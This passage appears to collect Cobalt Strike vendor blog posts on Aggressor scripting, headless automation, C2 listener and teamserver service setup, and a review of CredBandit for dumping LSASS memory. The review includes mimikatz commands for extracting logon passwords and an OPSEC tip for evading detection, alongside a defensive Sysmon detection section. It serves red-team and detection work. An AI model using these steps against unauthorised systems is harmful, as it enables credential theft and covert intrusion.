  • Line 31 packs the arguments that the BOF is expecting.  In this example we are passing $3 (pid) as an integer, and $2 (dll) as binary data. 
  • Lines 33 reports the task to Beacon. 
  • Line 35 uses the beacon_inline_execute function to execute the BOF. 
  • Line 38 returns 1 to indicate the PROCESS_INJECT_EXPLICIT function was implemented. 

Next, load the Aggressor Script file into the Cobalt Strike client through the Colbalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Load the Aggressor Script and Begin Using the Updated Hook

Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface.  Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation. 

Example Using the keylogger Command

After loading the script, a command like keylogger will use the new hook.

keylogger command using the PROCESS_INJECT_EXPLICIT hook
Output in the script console when reading the BOF

References

Cobalt Strike Sleep Python Bridge

This project started after seeing how the user community tweaks and tunes Cobalt Strike. I was inspired by @BinaryFaultline and @Mcgigglez16 in their project https://github.com/emcghee/PayloadAutomation and blog post http://blog.redxorblue.com/2021/06/introducing-striker-and-payload.html. They created a clever way to interact with a teamserver without the GUI.

Before I get too far, I’ll touch on Aggressor scripting and the Sleep language. Remember that Cobalt Strike is a framework and is extensible by design using the Aggressor script language. It allows users to modify or control the framework with a script that is loaded through the GUI or headless client. Aggressor provides a great deal of flexibility, but the Sleep language at the heart of Aggressor is how these extensions must be written.

What is this Sleep-Python Bridge?

This project is an experiment on extending Cobalt Strike with python instead of Aggressor or Sleep.

NOTE:
This project is very much in BETA. The goal is to provide a playground for testing and is in no way an officially supported feature. Perhaps this could be something added in the future to the core product.

How does this work?

The heart of this bridge is a python implementation of a headless Cobalt Strike client. This is achieved by using the Aggressor Script Console, provided by agscript, as the engine. Agscript allows for headless interaction with Cobalt Strike. The “bridge” works by using python helper functions in sleepy.py to generate the needed Sleep commands expected by the agscript console. Instead of writing the Sleep functions, striker.py provides helper functions that abstract Sleep and allows the use of python. In other words, this is a python wrapper to the console provided by agscript.

Notable changes from the original project

Because the PayloadAutomation project inspired this, it started with much of the same code, but I wanted to tweak to use the components needed to act as an agscript wrapper. This included:

  • Renaming from Payload_Automation to sleep_python_bridge. This project is more than payload generation.
  • Changing from a PyPI library to local modules. This was done for testing and may be a good candidate for a python library after extensive testing.
  • Updating and adding helpers to match Aggressor versions.
  • Adding ability to load external script.

What can you do with this “bridge?”

In short, anything you can do with Aggressor, you can do with this bridge via python: extract data, make operation decisions, automate beacon tasks, etc.

The best way to show what can be done is with a few examples.

Examples

Log Tracker

Beacon logs are available at runtime in a teamserver or through the Beacon log files saved on the teamserver. The data is always there, but may not be presented in a way you would like. This is an example of log tracker that uses an HTML data grid to quickly view Beacon logs.

beaconlogtracker.py is a script that connects to a teamserver, extracts the running Beacon logs every 30 seconds, saves to beaconlogs.json, and displays in a searchable and sortable HTML data grid.

Beacon logs are always saved to the logs directory, but this is an alternate way to track the in memory logs with an alternate viewer. If the teamserver is restarted the in-memory logs are lost and you must refer to the logs stored in the logs directory on the teamserver. This script keeps in-memory logs synced to the file beaconlogs.json. This way you have a quick and easy way to visualize all data without digging through the logs directory even if Cobalt Strike is restarted.

Start the script by having it connect to your teamserver to sync logs every 30 seconds:

beaconlogtracker.py

Although the GUI is not needed, you can see the client logged on and that it provides feedback as it collects logs:

Log tracker event logs

Video Demo

This demo shows the HTML data grid view. It uses the beaconlogs.json file created by the log tracker script as its data source. The data grid allows for quick sorting or filtering or Beacon logs. The output from long commands is truncated and can be expanded. This could be a nice alternate view for a Red Team operator or a Red Team lead.

Demo of the HTML log viewer

Payload Generator

A feature often requested by Red Team operators is the ability to create payloads programmatically without the need for the Cobalt Strike GUI. The project referenced at the beginning of the blog did this with a payload generator. This was great, but there is a unique challenge. Aggressor provides several hooks to influence how a payload is built. These hooks are used by the various kits (i.e., artifact kit, sleep mask kit, or UDRL kit). They are normally used by loading an Aggressor Script through the GUI. This project was extended to allow the loading of external scripts. Without this, using this payload hooks would be difficult. This code could easily be extended to pass the payloads to external functions to add custom obfuscation, embed in a customer loader, or any other modification.

The payload generator script connects to the teamserver, loads the additional scripts, and creates payloads.

payloadgenerator.py

Using the event log for output, the payload generator script displays its progress as it loads the various scripts.

Event log output

To keep this somewhat modular, the payload generator script uses a base payload_scripts.cna file as a script loader. This points to all the modules that should be loaded.

payload_scripts.cna used as an ‘init’ script to load other modules

Beacon Grapher

The script beacongrapher.py connects to a teamserver, extracts Beacon metadata, and creates a JSON file that is used to display a javascript directed graph. The connection and extraction of data is functional, but the directed graph is a simple example. It could be refined to be more useful in a production environment.

The Beacon grapher script connects to the teamserver and extracts the Beacon metadata as a python object to save to JSON.

beacongrapher.py

Here’s an HTML directed graph view of the Beacon log:

directed graph view of beacons

Video Demo

Demo of the beacon graph

What next?

Take a look at the project on GitHub. https://github.com/cobalt-strike/sleep_python_bridge

I’m providing this as an idea. Feel free to take this and expand upon it. I only ask the your share your work or ideas. Perhaps we can make this an official part of the product at some point in the future.

Thanks to the Community

I want to give a thanks to the Cobalt Strike Community for all the great work and ideas with a special thanks to @BinaryFaultline and @Mcgigglez16 on their work in the project, Payload Automation – https://github.com/emcghee/PayloadAutomation.

Introducing Mimikatz Kit

You can now update Mimikatz between Cobalt Strike releases. Updates will periodically be made available to licensed users via the Arsenal as the Mimikatz Kit.

Usage:

  • Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
  • Load the mimikatz.cna aggressor script
  • Use mimikatz functions as normal

Using a mimikatz command will show output in the Script Console indicating a custom version is being used.

 

 

 

CredBandit (In memory BOF MiniDump) – Tool review – Part 1

One of the things I find fascinating about being on the Cobalt Strike team is the community. It is amazing to see how people overcome unique challenges and push the tool in directions never considered. I want explore this with CredBandit (https://github.com/xforcered/CredBandit). This tool has had updates since I started exploring. I’m specifically, looking at this version for this blog post.

In part 2, I ‘ll explore the latest version and how it uses an “undocumented” feature to solve the challenges discussed in this post.

Per the author:

CredBandit is a proof of concept Beacon Object File (BOF) that uses static x64 syscalls to perform a complete in memory dump of a process and send that back through your already existing Beacon communication channel. The memory dump is done by using NTFS transactions, which allows us to write the dump to memory. Additionally, the MiniDumpWriteDump API has been replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump.
When you dig into this tool,  you will see that CredBandit is “just another minidump tool.” This is true, but there are some interesting approaches to this.
My interest in CredBandit is less from the minidump implementation but the “duct tape engineering” used to bend Beacon to anthemtotheego‘s will.

CredBandit uses an unconventional way of transferring in memory data through Beacon by overloading the BEACON_OUTPUT aggressor function to handle data sent from BeaconPrintf() function.

There are other interesting aspects to this project, namely:

    • Beacon Object File (BOF) using direct syscalls
    • In memory storage of data (The dump does not need to be written to disk)
    • ReactOS implementation of MiniDumpWriteDump
You can read more about the minidump technique here (T1003-001) or here (Dump credentials from lsass without mimikatz).

Note on the Defense Perspective

Although the focus on this post is to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in security operations. It can be helpful to highlight both the offense capabilities and defense opportunities of a technique. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to add context to the detection story of this technique, seen below in the Detection Opportunities section.

Quick Start

Warning: BOFs run in Beacon’s memory. If they crash, Beacon crashes. The stability of this BOF may not be 100% reliable. Beacons may die. It’s something to consider if you choose to use this or any other BOF.

CredBandit is easy to use, but don’t that fool you into thinking it isn’t a clever approach to creating a minidump. All the hard work has been done, and you only need a few commands to use it.

The basic process is as follows:

  1. Clone the project: https://github.com/xforcered/CredBandit
  2. Compile CredBandit to a BOF
  3. Load the aggressor script in Cobalt Strike
  4. Launch a beacon running in context with the necessary permissions (i.e., high integrity process running as administrator)
  5. Locate the PID of LSASS
  6. Run CredBandit
  7. Wait …. 🙂
  8. Convert the CredBandit output into a usable dump
  9. Use Mimikatz to extract information from the dump

Consult the readme for details.

Let’s See This in Action

Load the aggressor script from the Cobalt Strike manager

Get the PID of LSASS

Interact with a beacon running with the permissions needed to dump LSASS memory and get the PID of LSASS.

An output of PS gives us a PID of 656.

Run CredBandit to capture the minidump of LSASS

Loading the MiniDumpWriteDump.cna aggressor script added the command credBandit to Beacon.

Running help shows we only need the PID of LSASS to use the command credBandit.

This will take time. Beacon may appear to be unresponsive, but it is processing the minidump and sending back chunks of data by hijacking the BeaconPrintf function. In this example, over 80mb in data must be transferred.

Once the Dump is complete, Beacon should return to normal. A word of caution: I had a few Beacons die after the process completed. The data was successfully transferred, but the Beacon process died. This could be due to the BOF being functional but missing error handling, but I did not investigate.

NOTE: The CredBandit aggressor script, MiniDumpWriteDump.cna, changed the behavior of BEACON_OUTPUT. This can cause other functions to fail. You should unload the script and restart the Cobalt Strike client or use RevertMiniDumpWriteDump.cna to reverse the changes.

Convert the extracted data to a usable format

The file dumpFile.txt is created in the cobaltstrike directory. This file is the result generated by  “highjacking” the BEACON_OUTPUT function to write the received chunks of data from the BeaconPrintf function.

Run the cleanupMiniDump.sh command to convert this file back into something useful:

./cleanupMiniDump.sh

You will now have two new files in the cobaltstrike directory: .dmp and .txt.

The .txt is a backup of the original dumpFile.txt.

The .dmp is the minidump file of LSASS.

Use Mimikatz to extract information from the dump

At this point, we are done with CredBandit. It provided the dump of LSASS. We can now use Mimikatz offline to extract information.

You can use something like the following commands:

mimikatz
mimikatz # sekurlsa::minidump c:\payloads\credBandit\lsass.dmp
mimikatz # sekurlsa::logonPasswords



BTW, dontstealmypassword


Demo

Here is a quick demo of the tool.


Breaking down the key concepts

Beacon Object File (BOF) using direct syscalls

Direct syscalls can provide a way of avoiding API hooking from security tools by avoiding the need for calling these APIs.

CredBandit uses much of work done by Outflank on using Syscall in Beacon Object Files. I won’t spend time on this but here are great resources:

In memory storage of data

The minidump output is stored in Beacon’s memory vs. being written to disk. This is based on using a minidump implementation that uses NTFS transactions to write to memory: https://github.com/PorLaCola25/TransactedSharpMiniDump

ReactOS implementation of MiniDumpWriteDump

MiniDumpWriteDump API is replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump: https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump

Unconventional way of transferring in memory data through Beacon via overloaded BeaconPrintf() function

This is what I find most interesting about this project. In short, the BEACON_OUTPUT aggressor function is used to send the base64 encode dump it receives as chunks from BeaconPrintf. These chunks are written to a file that can be cleaned up and decoded.

How does this hack work? It’s clever and simple. The BOF uses the BeaconPrintf function to send chunks of the base64 encoded minidump file to the teamserver. This data is captured and written to a file on disk.

The following is an example of the output file:

received output:
TURNUJOnAAAEAAAAIAAAAAAAAAAAAAAAIggAAAAAAAAHAAAAOAAAAFAAAAAEAAAAdCMAAIwAAAAJAAAAUCQAAMI6AAAAAAAAAAAAAAAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABolPx/AAAA4AkACJUKAP2mu1yUJQAAvQTv/gAAAQAAAAcAAQDuQgAACgABAO5CPwAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAC5kPx/AAAAoA4A94kOABHEhU5sJwAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgA...
received output:
AAAAAAAAAAAAAAAYkfx/AAAAoAcADk4IABy/Gt86KQAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgAAAAAAAAAAAAA...

This minidump file is rebuilt using the script cleanupMiniDump.sh. Credential material can be extracted using Mimikatz.


 Adjusting the Technique

The heart of this technique is based on accessing and dumping LSASS. Instead of using the suspicious activity of payload.exe accessing lsass.exe, you could find a process that regularly accesses LSASS, inject into that process, and perform your dump.

The BOF (https://github.com/outflanknl/FindObjects-BOF) may help you locate a process that has a handle to lsass.exe using similar OPSEC as CredBandit by using a BOF and direct systems calls. FindObjects-BOF is “A Cobalt Strike Beacon Object File (BOF) project which uses direct system calls to enumerate processes for specific modules or process handles.

Give it a try!


Detection Opportunities

Although the focus on this post was to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in detection engineering. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to provide context to the detection story of this technique.

Jonny’s detection note are in the left column, and I hae added my take in the right.

Detection Story by Jonny Joe’s comments
Before we can start creating our detection we must identify what is the main action of this whole chain – opening a handle to LSASS. That will be the core of this detection. If we detect on the tool or code specifically, then we lose detection visibility once someone creates another code that uses different functions. By focusing on the technique’s core behavior, we prevent manually creating a gap in our detection strategy. For this piece I am going to leverage Sysmon Event ID: 10 – Process Accessed. This event allows me to see the source process that was requesting access to the target process, the target process, the granted access rights (explained in a moment), along with both the source process GUID and target process GUID.

Sysmon Event ID 10 fires when OpenProcess is called, and because Sysmon is a kernel driver, it has insight into OpenProcess in both user-mode and kernel-mode. This particular implementation uses a syscall for NtOpenProcess within ntdll.dll, which is the Native API version of the Win32 API OpenProcess.

How is this useful?

Within the NtOpenProcess documentation, there is a parameter called DesiredAccess.This correlates to the ACCESS_MASK type, which is a bitmask. This access is typically defined by the function that wants to obtain a handle to a process. OpenProcess acts as a middle man between the function call and the target process. The function in this instance is MiniDumpWriteDump. Although ReactOS’s implementation of MiniDumpWriteDump is being used, we are still dealing with Windows securable objects (e.g. processes and files). Due to this, we must follow Windows built-in rules for these objects. Also, ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.

Don’t overemphasize tools. Fundamentally, this technique is based on the detection a process accessing LSASS.

ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.” It is important to focus on the technique’s primitives. There can be multiple implementations by different tools but the technique can often be broken down in to primitives.

Within Microsoft’s documentation, we can see that if MiniDumpWriteDump wants to obtain a handle to a process, it must have PROCESS_QUERY_IMFORMATION & PROCESS_VM_READ access to that process, which we can see is requested in the CredBandit source code below:

However, this still isn’t the minimum rights that a process needs to perform this action on another process. After reading Microsoft’s Process Security and Access Rights we can see that anytime a process is granted PROCESS_QUERY_IMFORMATION, it is automatically granted PROCESS_QUERY_LIMITED_IMFORMATION. This has a hex value of 0x1410 (this will be used in the analytic later).

Next, we want to see the file created via NtCreateTransacted. Sysmon uses a minifilter driver to monitor file system’s stacks indirectly, so it has insight into files being written to disk or a phantom file. One thing we have to be careful with is that we don’t know the extension the actor might have for the dump file. Bottom line: this is attacker-controlled and if we specify this into our analytic we risk creating a blind spot, which can lead to an analytical bypass.

Lastly, a little icing on the cake would be to add a process creation event to this analytic as it would just provide context around which user was leveraged for this activity.

Data Sources/Events:

User Rights:

Process Access:

File Creation:

  • Sysmon Event ID 11

Process Creation:

A detection strategy hypothesis should account for potential blind spots. Blind spots are not bad, but should be identified. https://posts.specterops.io/detection-in-depth-a2392b3a7e94

Analytics:

The following analytics are not meant to be copy and paste, but more of the beginning of detection for your environment. If you only look for the access rights 0x1410, then you will create a blind spot if an actor uses ReadProcessMemory to dump LSASS. Ideally, multiple detections would be made for dumping LSASS so that blind spots could be covered along the way.

Sysmon EID 10 Process Access

Regarding Detection:

Multiple combinations of access rights may be requested based on the implementation. Focus on a query to cover minimal rights needed. This will reduce blind spots based on a specific implementation.

Regarding OPSEC:

Notice that payload.exe is accessing lsass.exe. This is due to this implementation as a BOF running directly under the context of Beacon.

BOF and syscalls can be great, but maintain OPSEC awareness.

Sysmon EID 10 & EID 11

Sysmon EID 10, 11, & 1

Detection Summary

When writing a detection the first thing I do is identify the capabilities that a tool and/or technique has. This helps me narrow in on a scope. A piece of code could be implementing 3-4 techniques. When this happens, I separate these techniques and look into them separately. This allows me to create a detection strategy per capability.
When the capability is identified and the components being used are highlighted, proper scoping can be applied. We can see a commonality between this implementation and many others. That commonality is MiniDumpWriteDump and the access rights needed for that function call. This is the foundation of our detection or base condition. However, this could be evaded if an actor uses ReadProcessMemory because there are a different set of minimum access rights needed. A separate detection would need to be created for this function. This is ideal as it applies an overlap of our detection to cover the blind spots that are related to a technique.
Pulling attributes like file creation and process creation are contextual attributes that can be applied back to the core detection (MiniDump). The detection shouldn’t rely on these attributes because they are not guaranteed to be present.

Cobalt Strike is not inherently malicious. It is simply a way for someone to implement an action. The intent behind that action is what determines a classification of malicious or benign. Consequently, I don’t focus on Cobalt Strike specific signatures, I look at the behavior/technique being implemented.

I like how Palantir outlines a method for documenting detection strategies using their Alerting and Detection Strategy Framework (ADS).
Jonny Johnson (https://twitter.com/jsecurity101)

Thanks to https://twitter.com/anthemtotheego  for creating this tool.

Stay tuned for part 2 where I ‘ll talk about how the latest version uses an “undocumented” feature to download the minidump file instead of hijacking the BEACON_OUTPUT function.

Conclusion

Wait?!?! This post highlighted the need to ‘hack’ Cobalt Strike because of a lack of features.  Why isn’t this part of the toolset?

Cobalt Strike is a framework. It is meant to be tuned to fit a user’s need. Projects like this help expose areas that can be improved. This helps the team add new features, update documentation, or provide examples.

References

Detection References:

New home for Cobalt Strike malleable c2 profiles and scripts

The Cobalt Strike references (malleable c2 profiles, scripts, Elevate Kit, etc.) have been consolidated under a new GitHub account. https://github.com/cobalt-strike

We understand that many blog posts (and even our documentation) have references to the original links. The original links will be available for the time being but may not be in the future.

Update your references to use the new repositories. All future updates will be made under the new account.

Create listeners with an aggressor script – listener_create_ext

This short post is a follow up to the post “Manage Cobalt Strike with Services” where I described a method to automate Cobalt Strike teamservers by creating services.

In this post, I will take a closer look at the aggressor function that is used to create listeners listener_create_ext to expanded on the documentation and provide an example.

The documentation shows three arguments. Let’s focus on $3, the key/value pairs. The key/values control the settings used to setup a listener.

From the Documentation

listener_create_ext

Create a new listener.

Arguments

$1 - the listener name
$2 - the payload (e.g., windows/beacon_http/reverse_http)
$3 - a map with key/value pairs that specify options for the listener

Let’s break down the options with an aggressor script that creates an HTTP listener. I formatted the script to be easier to read and added comments to provide a bit of guidance.

listener_create_ext(
    "HTTP",                             # Listener name, use something unique across all teamservers (i.e., server1-http)
    "windows/beacon_http/reverse_http", # Listener type, remember, payloads are driven by listeners
    %(host => "stage.host",             # Staging host, Only one staging host can be set
        profile => "default",           # The profile variant name, variants are set in the malleable c2 profile
        port => 80,                     # Port for c2 communications
        beacons => "b1.host,b2.host",   # Comma separated list of beacon hosts
        althost => "alt.host",          # host header value
        bindto => 8080,                 # The port HTTP Beacon payload web server will bind to.
        strategy => "failover-5x",      # Host rotation strategy aka fail strategy
        proxy => "http://user:[email protected]:8080" # Proxy host settings 
    ) 
);

This aggressor script will create a listener that looks like this in the GUI.

References:

  • https://www.cobaltstrike.com/aggressor-script/functions.html#listener_create_ext
  • https://www.cobaltstrike.com/help-http-beacon
  • https://www.cobaltstrike.com/2021/06/23/manage-cobalt-strike-with-services/

 

Manage Cobalt Strike with Services

This post is part of a “Quality of Life” series, where tips and tricks will be shared to make using Cobalt Stike easier. 

Cobalt Strike is a post-exploitation framework and requires customization to meet your specific needs. This flexibility is one of the most powerful features of Cobalt Strike. While this is great, some may find it challenging to quickly set up a teamserver. Even if you are only conducting quick tests, consider building an automated deployment process using something as simple as a bash script or something more complex like a DevOps process based on tools like Ansible or Terraform. 

This post covers the aspect of considering adding to a deployment process to enhance teamserver automation. It does not cover complete infrastructure design. Several people in the security community have posted excellent design guidance.

Teamserver and Listener Automation

This post explores the automation of:

  • auto-starting teamserver using a random custom malleable c2 profile
  • creating listeners using a headless aggressor script

This process needs three files:

  • teamserver.service (controls the teamserver as a Linux service)
  • listener. service (controls the auto-creation of listeners as a Linux service)
  • listener_service.cna (aggressor script that specifies the parameters for the listeners)

These templates can be found here: https://github.com/vestjoe/cobaltstrike_services

Steps

Summary

I’ll summarize the steps here, but you should integrate these steps into an infrastructure deployment plan in actual practice. I demo the results of a practical example at the end of the post. 

Note: These scripts have been tested on Ubuntu server and may need to be adjusted based on your actual use case.

  • Update the service files to match your environment.
    • teamserver.service
    • listener.service
    • listener_service.cna
  • Copy the service files to your teamserver host
    • /etc/systemd/system/teamserver.service
    • /etc/systemd/system/listener.service
    • /opt/cobaltstrike/listener_service.cna
  • Register the new services
    • systemclt daemon-reload
  • Start the services
    • systemctl start teamserver.service
    • systemctl start listener.service
  • Test that everything works

Step Details

Note: The following steps show the details, but should broken down into deployment steps (ansible, terraform, etc.) that fit your own process.

1) Update the Teamserver Service Configuration File

This file is used to configure teamserver as a Linux service.

Use the template below as a starting point. Update the settings to match your environment and save it to a temporary location. (I’m using /tmp for this demo)

Specifically, you should update: 

  • WorkingDirectory: Set to the cobaltstrike directory
  • ExecStart: Set with your teamserver parameters
## TEMPLATE START

# teamserver.service

[Unit]
Description=Cobalt Strike Teamserver Service
After=network.target
Wants=network.target

[Service]
Type=Simple
WorkingDirectory=/opt/cobaltstrike
ExecStart=/opt/cobaltstrike/teamserver <TEAMSERVER IP> <PASSWORD> <PATH TO C2 PROFILE>

# Example
# ExecStart=/opt/cobaltstrike/teamserver `hostname -I` thisismypassword /opt/cobaltstrike/c2.profile

[Install]
WantedBy=multi-user.target

## TEMPLATE END

The malleable c2 profile can be any you create. I like to use randomly generated profiles for quick tests. https://github.com/threatexpress/random_c2_profile

2) Update the Listener Service Configuration File

The listener service uses agscript to run a headless aggressor script as a service. If you are not familiar with agscript, take a look at “Headless Cobalt Strike” in the manual https://www.cobaltstrike.com/aggressor-script/index.html

Use the template below as a starting point. Update the settings to match your environment and save them to a temporary location. (I’m using /tmp for this demo)

Specifically, you should update:

  • WorkingDirectory: Set to the cobaltstrike directory
  • ExecStart: Set with the values you need to run the agscript
## TEMPLATE START
# listener.service
[Unit]
Description=Cobalt Strike aggressor service
After=teamserver.service network.target
Wants=teamserver.service
StartLimitIntervalSec=33

[Service]
Restart=on-failure
RestartSec=10
WorkingDirectory=/opt/cobaltstrike
ExecStartPre=/bin/sleep 60
ExecStart=/bin/bash /opt/cobaltstrike/agscript <TEAMSERVER IP> <TEAMSERVER PORT> <USER to LOGON TO COBALTSTRIKE> <TEAMSERVER PASSWORD> <PATH TO listener_service.cna>
# Example
# ExecStart=/bin/bash /opt/cobaltstrike/agscript 127.0.0.1 50050 listener_service thisismypassword /opt/cobaltstrike/listener_service.cna

[Install]
WantedBy=multi-user.target
## TEMPLATE END

Headless Aggressor Script

This example aggressor script is used to create and start an HTTP, HTTPS, and SMB listener with all the needed parameters. It is a regular aggressor script and can be loaded manually through the Cobalt Strike client or run headless using agscript. 

Use the template below as a starting point. Update the settings to match your environment and save them to a temporary location. (I’m using /tmp for this demo)

The script uses the listener_create_ext function. Take a look at the support documentation for additional options.

At a minimum, change the following to match your environment.

  • HTTP Listener
    • listener name
    • host
    • althost
  • HTTPS Listener
    • listener name
    • host
    • althost
  • SMB Listener
    • listener name
    • port
## TEMPLATE START
println("
###################################################################
 CobaltStrike Aggressor Script          
 Author: Joe Vest
 Description: Headless script to create listeners
###################################################################");

println('listener_service.cna: Loading listener_service.cna...');

on ready{
    println('listener_service.cna: Creating HTTP Listener...');
    listener_create_ext("HTTP", "windows/beacon_http/reverse_http", %(host => "iheartredteams.com", port => 80, beacons => "iheartredteams.com", althost => "iheartredteams.com", bindto => 80));

    println('listener_service.cna: Creating HTTPS Listener...');
    listener_create_ext("HTTPS", "windows/beacon_https/reverse_https", %(host => "iheartredteams.com", port => 443, beacons => "iheartredteams.com", althost => "iheartredteams.com", bindto => 443));
    
    println('listener_service.cna: Creating SMB Listener...');
    listener_create_ext("SMB", "windows/beacon_bind_pipe", %(port => "mojo.5887.8051.34782273429370473##"));

    sleep(10000);

}
## TEMPLATE END

Copy the Files to the Appropriate Location

sudo cp /tmp/teamserver.service /etc/systemd/system/teamserver.service
sudo cp /tmp/listener.service /etc/systemd/system/listener.service
sudo cp /tmp/listener_service.cna /opt/cobaltstrike/listener_service.cna

Register and Start the New Services

sudo systemclt daemon-reload
sudo systemctl start teamserver.service
sudo systemctl start listener.service

Test to Make Sure Everything is Working as Expected

Teamserver should be running, and the script should have created the listeners. If so, test a few payloads and commands to make sure everything works as expected.

Consider Adding this Process to an Infrastructure Deployment Process

These manual steps and templates provide a means to automate some of the Cobalt Strike but can be enhanced further through a more formal process.

For example, I do this in a couple of ways:

  • I use simple bash scripts and the AWS CLI to deploy and configure a test environment.
  • I create ansible roles to automate the deployment and configuration of a teamserver as part of a larger deployment script.

Demonstrating a Practical Example

In this demo, I show how I fully automate the deployment and configuration of the range I used for quick realistic testing to AWS LightSail. The deployment is fully automated and includes settings to protect the teamserver from direct public access. 

Range Highlights

The script results in a small test range that follows this traffic pattern

  1. Beacon reaches out to a valid Cloud front redirector. These cloud redirectors are really just HTTP proxies. (https://www.blackhillsinfosec.com/using-cloudfront-to-relay-cobalt-strike-traffic/)
  2. Traffic is redirected to the Apache redirector. (again, just another HTTP proxy that applies our logic)
  3. Apache forwards the HTTP to the teamserver.

Services Running

The agscript user logon event (listener_service) can be seen in the Event Log.

The listeners are automatically created based on the service settings.

References


Interested in Trying Cobalt Strike?

REQUEST A QUOTE